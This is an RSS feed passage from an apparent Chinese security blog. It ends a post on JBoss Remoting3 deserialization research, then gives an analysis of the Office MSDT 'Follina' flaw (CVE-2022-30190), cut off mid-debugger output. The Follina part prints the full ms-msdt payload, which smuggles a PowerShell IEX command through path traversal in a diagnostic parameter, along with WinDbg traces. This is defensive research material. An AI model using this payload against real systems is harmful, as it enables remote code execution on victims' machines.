src="https://wechat2rss.xlab.app/img-proxy/?k=1ac8f080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpBTibibXMRCTnCngol1ZKicYibpCnm1MB87DKQDVbvBQYthpo3PopAuxqsA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过控制输入流进入到switch循环判断的字节，从而可以控制返回类示例或者反序列化对象。笔者梳理了这些switch循环体的分支，整理了几个会返回反序列化对象的流程，他们无一例外的会直接<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">readObject</code>反序列化或<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">loadClass</code>反射类实例，此时他们的类加载器都是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ModuleClassLoader</code>。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这是一个很特殊的类加载器，反序列化利用链中常见的类，比如<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef</code>、CC链（程序中实际有用到这个依赖），甚至于原生反序列化链中的一些类都是无法加载的。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7018239492466296" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1261" src="https://wechat2rss.xlab.app/img-proxy/?k=9e212590&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpVB2kcviaT8R64E7BibPmnw3hWBicics4giaarAeU9Byr5CspZZ2Jb6g8YXA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实测只有两个module路径下jar包里的部分类和jdk部分原生类可以被这个类加载器加载。在可以加载的类中能找到一些Sink类，比如<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ValueExpressionImpl</code>、<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">MethodExpressionImpl</code>，在RichFaces的CVE-2018-12533中有用到这两个Sink类的反序列化链，但Source和Gadget类虽然有，但<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ModuleClassLoader</code>类加载器并不能加载。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4214792299898683" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="987" src="https://wechat2rss.xlab.app/img-proxy/?k=20d2be91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpvib95MMg8XReS8uI1plVPViaf7qHJmFA0a79ed8MErBDRScRd05IpCgg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">反序列化这条路行不通，回看调用栈中处理消息的方法<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">processMessage</code>。开头用反序列化获取<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">appName</code>、<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">moduleName</code>、<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">distinctName</code>和<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">beanName</code>，也就是客户端<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>查询的url。虽说这种用法存在风险，在不知道部署了什么EJB3服务的情况下，也可以进行反序列化，但目前看来有难度，所以暂时也没有什么问题。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3770491803278688" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=55c7b2b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpfUTmDHcOYpRb1fupPiaU6ib0IyofMhSRRwJ0lYLrAfbmAvjibuWvoFibFQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">接着看后面的代码，有一个反射Method的操作，从EJB3部署信息获取到的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ComponentView</code>，根据方法名和方法参数反射Method。回溯Method的来源，发现是与反序列化的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">locator</code>有关。这个<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">locator</code>其实就是封装了客户端EJB3服务接口的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">EJBLocator</code>，那可以客户端使用恶意的EJB3服务接口，从而反射服务端类的方法？笔者也做了下尝试，但若想要反射的服务端类不是一个接口类，则会抛出一个内接口类的异常，即使是没有抛出异常，从部署信息获取<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ComponentView</code>这一步也没法获取服务端EJB3服务接口之外的内容。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b75afdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjp6Iemm1wiaHaib2xeQLXkV8tCpIdLKy6JXmAQyxYESUvOCTticjgKwQg2Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span><span>后记</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Remoting3协议的分析原本是以挖掘协议漏洞为目的，但最终也没有发现什么太大的问题，不得不感叹现在JBoss\WildFly的版本比之前使用remoting2协议的版本安全性上升了一个台阶。翻看近年WildFly的CVE，有一个反序列化相关的CVE-2020-10740，没有验证机制使得可能通过EJB发起远程反序列化攻击，说的大概就是本文讨论的内容。查看在WildFly20.0发布的修复，仅仅是增加了黑名单验证。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">除此之外，客户端还有个不大不小的问题，它的反序列化流程和服务端差不多，但客户端这里的类加载器就是普通的类加载器，可以用到部分的反序列化链，这场景就有点像RMI的反序列化服务端传来的恶意结果或异常。也许能用在反制、中间人攻击等场景。。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4390681003584229" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1116" src="https://wechat2rss.xlab.app/img-proxy/?k=1b4f76bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpfrEIXFyCJld559LJGiaOuEsaY0FR8LCeMJkLsVpWEHfT561eMez9GJg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">文中若有什么错误的地方，敬请师傅们斧正。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span><span>参考</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://jbossremoting.jboss.org/remoting-3" target="_blank">https://jbossremoting.jboss.org/remoting-3</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://paper.seebug.org/766/" target="_blank">https://paper.seebug.org/766/</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://github.com/illucIT/remote-ejb-example" target="_blank">https://github.com/illucIT/remote-ejb-example</a></p></section><p><br/></p>



<p><a href="2247485222">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0177c224&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485222%26idx%3D1%26sn%3D8c05e41493c3b9229a9529070614408c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 Jul 2022 21:16:00 +0800</pubDate>
    </item>
    <item>
      <title>Microsoft Office MSDT远程代码执行漏洞（CVE-2022-30190）分析​</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485177&amp;idx=1&amp;sn=68284d0c23974b7a3d310ea342846ad2</link>
      <description>在分析漏洞的过程中，陆陆续续看到许多师傅的分析文章，于是参考之后结合自己的分析总结了一下。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2022-06-09 12:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>在分析漏洞的过程中，陆陆续续看到许多师傅的分析文章，于是参考之后结合自己的分析总结了一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=602ba1e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCLrsiaI2EX0MD1EccAwdKDMXCQLT9nQ2sWicialNbHNluUTTb5SW9XiaichA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;" data-mpa-powered-by="yiban.io"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>前言</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在分析漏洞的过程中，陆陆续续看到许多师傅的分析文章，于是参考之后结合自己的分析总结了一下。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>漏洞简介</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">近日，微软官方网站发布了 Microsoft Office MSDT（Microsoft Support Diagnostic Tool）远程代码执行漏洞通告，漏洞编号 CVE-2022-30190，目前在开源代码平台已存在该漏洞的验证代码。该通告指出，<strong style="font-weight: bold;color: black;">Microsoft Office MSDT 存在远程代码执行漏洞，攻击者可利用 Office 文件中的远程模板功能，访问远程服务器上挂载的恶意 HTML 文件，之后通过 &#39;ms-msdt&#39; URI 来执行恶意 PowerShell 代码</strong>。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">值得注意的是该漏洞在宏被禁用的情况下仍可被利用。<strong style="font-weight: bold;color: black;">并且当恶意文件另存为 RTF 格式时，还可以通过 Windows 资源管理器中的预览窗格触发此漏洞的调用，无需执行也可以在目标机器上执行任意代码。</strong>该漏洞影响范围非常广泛，目前官方未发布修复补丁。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>漏洞利用链</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>样本执行流程</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">1. 攻击者利用 Office 文件中的远程模板功能加载远程的 poc.html</strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在 document.xml.rels 文件中可以看到 docx 文件嵌入了一个 ole 对象，指向了 poc.html</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.125366568914956" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1364" src="https://wechat2rss.xlab.app/img-proxy/?k=b282b782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCWjicJZ8sXSOJDaZ4KxmH8Ywlg3hsLkGmJGicho1DtoUgsmI1bPqJYFqQ%2F640%3Fwx_fmt%3Dpng"/></figure><hr data-tool="mdnice编辑器" style="height: 1px;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">2.poc.html 通过 &#39;ms-msdt&#39; URL 使得 Office 执行 msdt.exe，并将构造好的命令行参数传入 msdt.exe</strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">查看 poc.html 的内容，可以看到页面访问了 URL：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer">ms-msdt:/id PCWDiagnostic /skip force /<span class="code-snippet__keyword">param</span> \<span class="code-snippet__string">&#34;IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX(&#39;calc.exe&#39;))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \&#34;</span></span></code></pre></section><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.466786355475763" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1671" src="https://wechat2rss.xlab.app/img-proxy/?k=fd6d3a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgC9KSoIOxV2K8Ptg6dZ44pW6J7LH973uEB7q80KWCUka89yxQH5A9HiaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">上述注释是为了填充 HTML 页面使其大小大于 4kb，只有大于 4kb 的 HTML 页面 word 才会解析该页面进而触发漏洞，具体原因在Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit这篇文章中已经分析的很清楚了。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用 urlprotocolview 查看<strong style="font-weight: bold;color: black;">ms-msdt</strong> URL 对应的二进制文件正是 msdt.exe</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3080771979985704" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1399" src="https://wechat2rss.xlab.app/img-proxy/?k=2c4c62e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCcpmBMTnWqKT3VPVjVxSGNF6sKTHY9PaCUbFMic2OpJ2xcyI5FtYyGJg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">winword.exe 解析该 URL 后会调用 msdt.exe，并将命令行参数传入</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4680722891566265" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=e272ecae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCDAMj9FohF7xu1HichBKgcCu88ibFtxVRs2OVicj77PgCaicka4g9He0trw%2F640%3Fwx_fmt%3Dpng"/></figure><hr data-tool="mdnice编辑器" style="height: 1px;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">3.msdt.exe 接收命令行参数后触发漏洞执行 powershell 命令：<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">IEX(&#39;calc.exe&#39;)</code>，调用了 calc.exe</strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">因为直接打开 msdt.exe 需要输入技术支持人员密钥才能进行下一步诊断，通过参数<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/id PCWDiagnostic</code>运行 PCWDiagnostic 程序兼容性诊断包绕过了该步骤</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.55625" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3ebc4102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCYIyxB4wqjdD2My3ge6Kt0niaSibhHhia2Ob28fPUfIJxmMALSEZoDvmyg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">然而只是绕过输入密钥还不够，还需要点击下一页，才可以接收参数执行进程，通过参数<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/skip force</code>绕过了该步骤，此时 msdt 会创建并启动服务，通过 svchost.exe 创建进程 sdiagnhost.exe</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4506024096385542" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=606274b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCcEwaJ0tsTsQNiaiaI9hfGue3Cb60DUBmbSg0MOZTic0K6MKYNnxYCN4ibg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">接着再输入参数：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">/param <span class="code-snippet__string">&#34;IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h<span class="code-snippet__variable">$(IEX(&#39;calc.exe&#39;)</span>)i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe&#34;</span></span></code></pre></section><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">就能通过 sdiagnhost.exe 执行 powershell 命令，整个漏洞利用完成。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.48282097649186256" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1659" src="https://wechat2rss.xlab.app/img-proxy/?k=ffe651f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCDdXjklf3GibRibicUicUiasABiaMtCNibFL0OmYc3vz5q4Ir2IEYw2ykxVWaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">整个漏洞利用链如图所示：</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.912707182320442" data-s="300,640" style="" data-type="png" data-w="905" src="https://wechat2rss.xlab.app/img-proxy/?k=be9d4df6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCb7J6v0iaVzK2c6UnBZeFG8I8fxMCYkagWBRzekkqrKFh4ukct6FKDVQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>漏洞利用细节</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>word 解析 URL<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">word 在解析 ms-msdt Office URL 时是通过 mshtml.dll 的 ShellExecURL 函数解析的，而该函数内部会调用 ShellExecuteW 执行命令行参数创建 msdt.exe</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0WD7yIcUvTwtfuhUfxnWOgdDsBAdxhmblOdL5wPzWVex9bQsQBkNaNV79uNcic9AgOfibhoVh70Xo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:000&gt; r<br/>rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000<br/>rdx=0000000000000000 rsi=0000000080004005 rdi=00000267dfbe07f0<br/>rip=00007ffa2fe2fe45 rsp=000000f644b0d410 rbp=000000f644b0d510<br/> r8=00000267dfb84838  r9=0000000000000000 r10=0000000000000000<br/>r11=0000000000000246 r12=00007ffa3086e358 r13=0000000000000000<br/>r14=0000000000000000 r15=0000000000000020<br/>iopl=0         nv up ei pl zr na po nc<br/>cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br/>mshtml!ShellExecURL+0x24d:<br/>00007ffa`2fe2fe45 48ff1554b8c600  call    qword ptr [mshtml!_imp_ShellExecuteW (00007ffa`30a9b6a0)] ds:00007ffa`30a9b6a0={mshtml!_imp_load_ShellExecuteW (00007ffa`2f8edaaa)}<br/>0:000&gt; du r8  //ShellExecuteW的执行参数<br/>00000267`dfb84838  <span style="color: #98c379;line-height: 26px;">&#34;ms-msdt:/id PCWDiagnostic /skip &#34;</span><br/>00000267`dfb84878  <span style="color: #98c379;line-height: 26px;">&#34;force /param &#34;</span>IT_RebrowseForFile<span style="color: #98c379;line-height: 26px;">&#34;<br/>00000267`dfb848b8  &#34;</span>=cal?c IT_SelectProgram=NotListe<span style="color: #98c379;line-height: 26px;">&#34;<br/>00000267`dfb848f8  &#34;</span>d IT_BrowseForFile=h$(IEX(<span style="color: #98c379;line-height: 26px;">&#39;calc.&#34;<br/>00000267`dfb84938  &#34;exe&#39;</span>))i/../../../../../../../../<span style="color: #98c379;line-height: 26px;">&#34;<br/>00000267`dfb84978  &#34;</span>../../../../../../Windows/System<span style="color: #98c379;line-height: 26px;">&#34;<br/>00000267`dfb849b8  &#34;</span>32/mpsigstub.exe <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/>0:000&gt; k   //函数调用栈<br/> <span style="color: #5c6370;font-style: italic;line-height: 26px;"># Child-SP          RetAddr           Call Site</span><br/>00 00000092`064fccc8 00007ffa`707502de SHELL32!ShellExecuteNormal<br/>01 